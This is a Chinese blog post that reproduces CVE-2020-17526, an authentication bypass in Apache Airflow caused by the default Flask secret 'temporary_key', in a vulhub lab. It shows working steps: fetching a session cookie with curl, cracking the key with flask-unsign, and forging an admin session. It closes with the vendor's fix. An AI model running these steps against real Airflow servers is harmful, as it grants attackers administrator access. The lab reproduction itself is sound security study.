当前位置:网站首页>漏洞复现----49、Apache Airflow 身份验证绕过 (CVE-2020-17526)
漏洞复现----49、Apache Airflow 身份验证绕过 (CVE-2020-17526)
2022-07-07 21:51:00 【七天啊】
一、Apache Airflow简介
Apache Airflow是python语言编写的一个以编程方式创作、安排和监控工作流程的平台。
除了几个服务器端 python 脚本之外,它还有一个基于Flask编写的Web应用程序,该Web 应用程序 使用Flask 的无状态签名 cookie 来存储和管理成功的身份验证。在安装过程中,可以使用Airflow命令创建用户,在文档中该用户是具有管理员角色的用户。任何后续用户都可以使用Airflow python 脚本从 Web 界面或命令行创建。
二、漏洞成因
Airflow<=1.10.13版本
CVE-2020-17526漏洞成因是:
由于使用默认安全密钥对身份验证信息进行签名,导致安全配置错误。当用户登录时,会设置一个名为session的 cookie ,其中包含 json 格式的用户认证信息。json 中名为user_id的密钥标识了登录的用户。此 json 使用在airflow.cfg配置文件中配置的字符串进行签名。在 1.10.15 和 2.0.2 版本之前,此字符串设置为temporary_key。官方文档和安装消息都没有说明更改此密钥。
默认密钥为temporary_key造成的问题:
攻击者可以创建与目标相同版本的本地安装,以管理员身份登录并将会话cookie重播到目标以在远程计算机上以管理员身份登录。
在这种情况下,可以使用工具来解密和识别明文 json 字符串,然后更新user_id参数并将 cookie 重新发送到服务器以模拟指定了user_id的用户。
curl -v url:显示url的整个响应过程flask-unisign解释:上文提到web程序是基于Flask编写,Flask cookie 是经过签名而不是加密的,因此获得会话 cookie 后,可以尝试暴力破解服务器的密钥。
三、漏洞复现
以vluhub靶场为例:
docker-compose run airflow-init
docker-compose up -d
登陆页面如下
访问登陆页面,从Cookie 中获取会话字符串:curl -v http://192.168.0.65:8080/admin/airflow/login?next=%2Fadmin%2F
安装flask-unsign工具,破解会话密钥
pip3 install flask-unsign[wordlist]
pip3 install flask-unsign
flask-unsign -u -c eyJfZnJlc2giOmZhbHNlLCJjc3JmX3Rva2VuIjoiOTkwNWUzODllMDVkMGM1ZDg1MGY3MjQ2NTIwOTg4YjBjNDIyMGM3NCJ9.YsTwjQ.6yxe4ePTy6CRnwZ7z0uok9iQUg8

利用获取到的密钥,生成user_id为1的会话:
flask-unsign -s --secret " temporary_key" -c "{
'_fresh': True, '_id': '<id>', 'csrf_token': '<csrf>', 'user_id': '1'}

利用得到的session替换掉原本的的session:
eyJfZnJlc2giOmZhbHNlLCJfcGVybWFuZW50Ijp0cnVlLCJ1c2VyX2lkIjoiMSJ9.YsT78A.2Ko-OKIeb38SsKijmv1YRuC-Npc

访问成功:
四、漏洞防御
CVE-2020-17526 在版本 1.10.15 和 2.0.2 中通过删除静态字符串并添加b64encode(os.urandom(16)).decode('utf-8')以生成随机字符串作为密钥进行修复Web 应用程序服务器将用于身份验证。此外,如果发现密钥是临时键,则将以下代码添加到 webserver 命令模块以关闭服务器。
if conf.get('webserver', 'secret_key') == 'temporary_key':
from rich import print as rich_print
rich_print(
"[red][bold]ERROR:[/bold] The `secret_key` setting under the webserver config has an insecure "
"value - Airflow has failed safe and refuses to start. Please change this value to a new, "
"per-environment, randomly generated string, for example using this command `[cyan]openssl rand "
"-hex 30[/cyan]`",
file=sys.stderr,
)
sys.exit(1)
参考链接:
https://vulhub.org/#/environments/airflow/CVE-2020-17526/
边栏推荐
- Circumvention Technology: Registry
- Grid
- Network security sqlmap and DVWA explosion
- Cascade-LSTM: A Tree-Structured Neural Classifier for Detecting Misinformation Cascades-KDD2020
- Locate to the bottom [easy to understand]
- 智慧社區和智慧城市之間有什麼异同
- Use JfreeChart to generate curves, histograms, pie charts, and distribution charts and display them to jsp-2
- Advantages and disadvantages of rest ful API
- USB (十七)2022-04-15
- opencv scalar传入三个参数只能显示黑白灰问题解决
猜你喜欢

微信论坛交流小程序系统毕业设计毕设(4)开题报告

Wechat forum exchange applet system graduation design (2) applet function

Unity3D学习笔记5——创建子Mesh

iNFTnews | NFT技术的广泛应用及其存在的问题

Matlab-SEIR传染病模型预测

Unity3D学习笔记6——GPU实例化(1)

PCL . VTK files and Mutual conversion of PCD

Inftnews | web5 vs Web3: the future is a process, not a destination

Are the microorganisms in the intestines the same as those on the skin?

聊聊 Dart 的空安全 (null safety) 特性
随机推荐
Online interview, how to better express yourself? In this way, the passing rate will be increased by 50%~
小程序多种开发方式对比-跨端?低代码?原生?还是云开发?
Binary tree
Digital collections accelerated out of the circle, and marsnft helped diversify the culture and tourism economy!
Use JfreeChart to generate curves, histograms, pie charts, and distribution charts and display them to jsp-2
Network security sqlmap and DVWA explosion
Gbu1510-asemi power supply special 15A rectifier bridge gbu1510
定位到最底部[通俗易懂]
Develop those things: go plus c.free to free memory, and what are the reasons for compilation errors?
Guessing game (read data from file)
How to operate DTC community?
Redhat下安装fedora
网络安全-永恒之蓝
网络安全-burpsuit
Adrnoid开发系列(二十五):使用AlertDialog创建各种类型的对话框
PCL . VTK files and Mutual conversion of PCD
Interview questions: how to test app performance?
Introduction to anomaly detection
智慧社區和智慧城市之間有什麼异同
Why does the market need low code?